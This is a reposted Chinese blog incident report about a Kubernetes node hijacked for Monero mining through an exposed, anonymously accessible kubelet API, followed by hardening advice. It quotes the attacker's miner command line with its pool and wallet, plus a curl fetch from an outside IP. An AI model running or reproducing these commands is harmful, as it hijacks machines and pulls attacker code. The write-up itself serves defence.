记一次 Kubernetes 中严重的安全问题

最新推荐文章于 2024-10-31 15:59:53 发布

转载最新推荐文章于 2024-10-31 15:59:53 发布 · 318 阅读

文章标签：

#java #kubernetes #分布式 #hadoop #编程语言

引导关注

此事件发生在 2021-03 月份.

近期遇到了一次我们自建 Kubernetes 集群中某台机器被入侵挖矿, 后续也找到了原因, 所幸只是用来挖矿…

网络安全是个严肃的问题, 它总是在不经意间出现, 等你反应过来却已经迟了. 希望各位读者看完后也有所启发, 去检查及加固自己的集群.

入侵现象

检查到某台机器中出现了异常进程

./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm
curl -s http://45.9.148.35/scan_threads.dat

简单来讲, 就是我们的机器被用来挖矿了…

问题出现后, 我们第一时间关闭了 docker, 其实应该隔离下环境, 把挖矿程序 dump 下来, 以便后续分析.

具体原因排查

iptables 为空

出现了异常进程, 肯定是被入侵了, 我首先看的是iptables. 果不其然, 机器上的 iptables 规则是空的, 意味着这台机器在裸奔.

kubelet 裸奔

内部同事提出了有可能是 kubelet 被入侵的问题, 检查过其他组件后, 开始检查 kubelet 组件

最后检查到 kubelet 日志中有异常:

kubelet 设置不当

确认入侵问题, kubelet 参数设置错误, 允许直接访问 kubelet 的 api

发现是 kubelet 的启动项中, 该位置被注释掉:

然后文件中禁止匿名访问的配置没有读取

该项配置是由于我操作不当注释掉的

由于是新增加的机器, 当晚就发现了问题, 整个集群是我在管理的, 我跟随着一起排查, 所以很快就找到了原因, 当晚我就把其他机器中的配置项重新扫了一遍, 假如它们的防火墙失效了, 也会有类似的入侵情况发生, 还好此次事件控制在 1 台机器中.

改进方案

其实该问题理论上讲是可以避免的, 是因为出现了多层漏洞才会被有心人扫到, 我从外到内整理了一下可能改进的策略.

机器防火墙设置, 机器防火墙是整个系统最外层, 即使机器的防火墙同步失败, 也不能默认开放所有端口, 而是应该全部关闭, 等待管理员连接到 tty 终端上检查.
使用机器时, 假如机器不是暴露给外部使用的, 公网 IP 可有可无的时候, 尽量不要有公网 IP, 我们的机器才上线 1 天就被扫描到了漏洞, 可想而知, 公网上是多么的危险
使用 kubelet 以及其他系统服务时, 端口监听方面是不是该有所考量? 能不能不监听0.0.0.0, 而是只监听本机的内网 IP.
使用 kubelet 以及其他程序, 设计或是搭建系统时, 对于匿名访问时的权限控制, 我们需要考虑到假如端口匿名会出现什么问题, 是否应该允许匿名访问, 如果不允许匿名访问, 那么怎么做一套鉴权系统?
系统管理员操作时, 是否有一个比较规范化的流程, 是不是该只使用脚本操作线上环境? 手动操作线上环境带来的问题并不好排查和定位.

我这里不是抛出疑问, 只是想告诉大家, 考虑系统设计时, 有必要考虑下安全性.

总结

发生了入侵事件后, 同事开玩笑说, 还好没其他经济损失, 要不我可能要回家了. 作为集群的管理员, 只有自己最清楚问题的严重程度. 从本质上来讲, 问题已经相当严重了. 入侵者相当于拥有了机器上 docker 的完整控制权限. 如果读者有读过我关于docker 系列^[1]的内容, 就对权限上了解清楚了.

因为此次事件的发生, 不只是我, 还有 SA 的同学基本都被 diao 了一遍, 心里还是有点难受的, 希望大家能对网络安全问题有所重视, 从加固防火墙开始, 避免监听不必要的端口, 这两项至少是最容易实现的.

参考资料

[1]

docker 系列: https://corvo.myseu.cn/tags/Docker/

原文链接：https://corvo.myseu.cn/2021/03/23/2021-03-23-%E8%AE%B0%E4%B8%80%E6%AC%A1Kubernetes%E4%B8%AD%E4%B8%A5%E9%87%8D%E7%9A%84%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/